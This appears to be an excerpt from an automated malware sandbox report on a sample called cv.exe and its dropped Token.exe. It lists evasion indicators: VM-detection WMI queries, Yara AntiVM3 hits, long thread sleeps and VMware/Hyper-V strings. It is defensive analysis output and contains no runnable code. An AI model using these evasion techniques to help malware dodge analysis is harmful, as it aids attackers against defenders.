Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match	File source: Process Memory Space: cv.exe PID: 7832, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Token.exe PID: 7940, type: MEMORYSTR

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Source: C:\Users\user\Desktop\cv.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_DiskDrive
Source: C:\Users\user\Desktop\cv.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_DiskDrive

Source: C:\Users\user\Desktop\cv.exe	Memory allocated: 1410000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Memory allocated: 3000000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Memory allocated: 5000000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Memory allocated: 71F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Memory allocated: 81F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Memory allocated: A6A0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Memory allocated: 98A0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Memory allocated: B6A0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Memory allocated: C6A0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Memory allocated: D6A0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Memory allocated: 1230000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Memory allocated: 2E90000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Memory allocated: 2CC0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Memory allocated: E90000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Memory allocated: 2970000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Memory allocated: 27A0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Memory allocated: 6C20000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Memory allocated: 7C20000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Memory allocated: 7DA0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Memory allocated: 8DA0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Memory allocated: ADC0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Memory allocated: BDC0000 memory reserve \| memory write watch

Source: C:\Users\user\Desktop\cv.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Desktop\cv.exe	Window / User API: threadDelayed 2486	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Window / User API: threadDelayed 7321	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6848
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2901
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Window / User API: threadDelayed 4833
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Window / User API: threadDelayed 4986

Source: C:\Users\user\Desktop\cv.exe TID: 7900	Thread sleep time: -32281802128991695s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe TID: 7900	Thread sleep time: -100000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe TID: 7900	Thread sleep time: -99875s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe TID: 7900	Thread sleep time: -99765s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe TID: 7900	Thread sleep time: -99656s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe TID: 7900	Thread sleep time: -99547s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe TID: 7900	Thread sleep time: -99422s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe TID: 7900	Thread sleep time: -99305s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe TID: 7900	Thread sleep time: -99203s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe TID: 7900	Thread sleep time: -99078s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe TID: 7900	Thread sleep time: -98967s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe TID: 7900	Thread sleep time: -98859s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe TID: 7900	Thread sleep time: -98736s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe TID: 7900	Thread sleep time: -98609s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe TID: 7900	Thread sleep time: -98498s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe TID: 7900	Thread sleep time: -98340s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe TID: 7900	Thread sleep time: -98234s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe TID: 7900	Thread sleep time: -98125s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe TID: 7900	Thread sleep time: -98015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe TID: 7900	Thread sleep time: -97906s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe TID: 7900	Thread sleep time: -97796s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe TID: 7900	Thread sleep time: -97687s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe TID: 7900	Thread sleep time: -97578s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe TID: 7900	Thread sleep time: -97469s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe TID: 7900	Thread sleep time: -97359s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe TID: 7900	Thread sleep time: -97250s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe TID: 7900	Thread sleep time: -97137s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe TID: 7900	Thread sleep time: -97031s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe TID: 7900	Thread sleep time: -96922s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe TID: 7900	Thread sleep time: -96812s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe TID: 7900	Thread sleep time: -96703s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe TID: 7900	Thread sleep time: -96594s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe TID: 7900	Thread sleep time: -96484s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe TID: 7900	Thread sleep time: -96375s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe TID: 7900	Thread sleep time: -96266s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe TID: 7900	Thread sleep time: -96154s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe TID: 7900	Thread sleep time: -96045s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe TID: 7900	Thread sleep time: -95937s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe TID: 7900	Thread sleep time: -95810s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe TID: 7900	Thread sleep time: -95672s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe TID: 7900	Thread sleep time: -95552s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe TID: 7900	Thread sleep time: -95422s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe TID: 7900	Thread sleep time: -95312s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe TID: 7900	Thread sleep time: -95203s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe TID: 7900	Thread sleep time: -95093s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe TID: 7900	Thread sleep time: -94984s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe TID: 7900	Thread sleep time: -94875s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe TID: 7900	Thread sleep time: -94766s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe TID: 7900	Thread sleep time: -94641s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe TID: 7900	Thread sleep time: -94531s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe TID: 3196	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3992	Thread sleep count: 6848 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3992	Thread sleep count: 2901 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5516	Thread sleep time: -10145709240540247s >= -30000s
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe TID: 4016	Thread sleep time: -36893488147419080s >= -30000s
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe TID: 4016	Thread sleep time: -100000s >= -30000s
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe TID: 4016	Thread sleep time: -99860s >= -30000s
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe TID: 4016	Thread sleep time: -99725s >= -30000s
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe TID: 4016	Thread sleep time: -99592s >= -30000s
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe TID: 4016	Thread sleep time: -99485s >= -30000s
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe TID: 4016	Thread sleep time: -99370s >= -30000s
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe TID: 4016	Thread sleep time: -99214s >= -30000s
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe TID: 4016	Thread sleep time: -99109s >= -30000s
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe TID: 4016	Thread sleep time: -99000s >= -30000s
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe TID: 4016	Thread sleep time: -98890s >= -30000s
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe TID: 4016	Thread sleep time: -98782s >= -30000s
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe TID: 4016	Thread sleep time: -98663s >= -30000s
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe TID: 4016	Thread sleep time: -98452s >= -30000s
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe TID: 4016	Thread sleep time: -98344s >= -30000s
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe TID: 4016	Thread sleep time: -98177s >= -30000s
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe TID: 4016	Thread sleep time: -98047s >= -30000s
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe TID: 4016	Thread sleep time: -97937s >= -30000s
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe TID: 4016	Thread sleep time: -97823s >= -30000s
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe TID: 4016	Thread sleep time: -97719s >= -30000s
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe TID: 4016	Thread sleep time: -97609s >= -30000s
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe TID: 4016	Thread sleep time: -97498s >= -30000s
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe TID: 4016	Thread sleep time: -97391s >= -30000s
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe TID: 4016	Thread sleep time: -97264s >= -30000s
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe TID: 4016	Thread sleep time: -97126s >= -30000s
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe TID: 4016	Thread sleep time: -97000s >= -30000s
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe TID: 4016	Thread sleep time: -96730s >= -30000s
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe TID: 4016	Thread sleep time: -96621s >= -30000s
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe TID: 4016	Thread sleep time: -96479s >= -30000s
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe TID: 4016	Thread sleep time: -96375s >= -30000s
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe TID: 4016	Thread sleep time: -96266s >= -30000s
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe TID: 4016	Thread sleep time: -96156s >= -30000s
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe TID: 4016	Thread sleep time: -96047s >= -30000s
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe TID: 4016	Thread sleep time: -95938s >= -30000s
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe TID: 4016	Thread sleep time: -95825s >= -30000s
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe TID: 4016	Thread sleep time: -95719s >= -30000s
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe TID: 4016	Thread sleep time: -95594s >= -30000s
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe TID: 4016	Thread sleep time: -95485s >= -30000s
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe TID: 4016	Thread sleep time: -95360s >= -30000s
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe TID: 4016	Thread sleep time: -95235s >= -30000s
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe TID: 4016	Thread sleep time: -95094s >= -30000s
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe TID: 4016	Thread sleep time: -94985s >= -30000s
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe TID: 4016	Thread sleep time: -94875s >= -30000s
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe TID: 4016	Thread sleep time: -94765s >= -30000s
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe TID: 4016	Thread sleep time: -94654s >= -30000s
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe TID: 4016	Thread sleep time: -94547s >= -30000s
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe TID: 4016	Thread sleep time: -94438s >= -30000s
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe TID: 4016	Thread sleep time: -94328s >= -30000s
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe TID: 4016	Thread sleep time: -94219s >= -30000s
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe TID: 4016	Thread sleep time: -94110s >= -30000s

Source: C:\Users\user\Desktop\cv.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Source: C:\Users\user\Desktop\cv.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor

Source: C:\Users\user\Desktop\cv.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Thread delayed: delay time: 100000	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Thread delayed: delay time: 99875	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Thread delayed: delay time: 99765	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Thread delayed: delay time: 99656	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Thread delayed: delay time: 99547	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Thread delayed: delay time: 99422	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Thread delayed: delay time: 99305	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Thread delayed: delay time: 99203	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Thread delayed: delay time: 99078	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Thread delayed: delay time: 98967	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Thread delayed: delay time: 98859	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Thread delayed: delay time: 98736	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Thread delayed: delay time: 98609	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Thread delayed: delay time: 98498	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Thread delayed: delay time: 98340	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Thread delayed: delay time: 98234	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Thread delayed: delay time: 98125	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Thread delayed: delay time: 98015	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Thread delayed: delay time: 97906	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Thread delayed: delay time: 97796	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Thread delayed: delay time: 97687	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Thread delayed: delay time: 97578	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Thread delayed: delay time: 97469	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Thread delayed: delay time: 97359	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Thread delayed: delay time: 97250	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Thread delayed: delay time: 97137	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Thread delayed: delay time: 97031	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Thread delayed: delay time: 96922	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Thread delayed: delay time: 96812	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Thread delayed: delay time: 96703	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Thread delayed: delay time: 96594	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Thread delayed: delay time: 96484	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Thread delayed: delay time: 96375	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Thread delayed: delay time: 96266	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Thread delayed: delay time: 96154	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Thread delayed: delay time: 96045	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Thread delayed: delay time: 95937	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Thread delayed: delay time: 95810	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Thread delayed: delay time: 95672	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Thread delayed: delay time: 95552	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Thread delayed: delay time: 95422	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Thread delayed: delay time: 95312	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Thread delayed: delay time: 95203	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Thread delayed: delay time: 95093	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Thread delayed: delay time: 94984	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Thread delayed: delay time: 94875	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Thread delayed: delay time: 94766	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Thread delayed: delay time: 94641	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Thread delayed: delay time: 94531	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Thread delayed: delay time: 100000
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Thread delayed: delay time: 99860
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Thread delayed: delay time: 99725
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Thread delayed: delay time: 99592
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Thread delayed: delay time: 99485
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Thread delayed: delay time: 99370
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Thread delayed: delay time: 99214
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Thread delayed: delay time: 99109
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Thread delayed: delay time: 99000
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Thread delayed: delay time: 98890
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Thread delayed: delay time: 98782
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Thread delayed: delay time: 98663
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Thread delayed: delay time: 98452
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Thread delayed: delay time: 98344
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Thread delayed: delay time: 98177
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Thread delayed: delay time: 98047
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Thread delayed: delay time: 97937
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Thread delayed: delay time: 97823
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Thread delayed: delay time: 97719
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Thread delayed: delay time: 97609
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Thread delayed: delay time: 97498
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Thread delayed: delay time: 97391
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Thread delayed: delay time: 97264
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Thread delayed: delay time: 97126
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Thread delayed: delay time: 97000
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Thread delayed: delay time: 96730
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Thread delayed: delay time: 96621
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Thread delayed: delay time: 96479
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Thread delayed: delay time: 96375
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Thread delayed: delay time: 96266
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Thread delayed: delay time: 96156
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Thread delayed: delay time: 96047
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Thread delayed: delay time: 95938
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Thread delayed: delay time: 95825
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Thread delayed: delay time: 95719
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Thread delayed: delay time: 95594
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Thread delayed: delay time: 95485
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Thread delayed: delay time: 95360
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Thread delayed: delay time: 95235
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Thread delayed: delay time: 95094
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Thread delayed: delay time: 94985
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Thread delayed: delay time: 94875
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Thread delayed: delay time: 94765
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Thread delayed: delay time: 94654
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Thread delayed: delay time: 94547
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Thread delayed: delay time: 94438
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Thread delayed: delay time: 94328
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Thread delayed: delay time: 94219
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Thread delayed: delay time: 94110

Source: Token.exe, 00000010.00000002.2697274846.0000000007DA1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware
Source: Token.exe, 00000010.00000002.2697274846.0000000007DA1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmware svga
Source: cv.exe, 00000000.00000002.2049905394.0000000004001000.00000004.00000800.00020000.00000000.sdmp, cv.exe, 00000000.00000002.2082379137.000000000A230000.00000004.08000000.00040000.00000000.sdmp, Token.exe, 00000010.00000002.2697274846.0000000007DA1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: 18292495#Microsoft Hyper-V
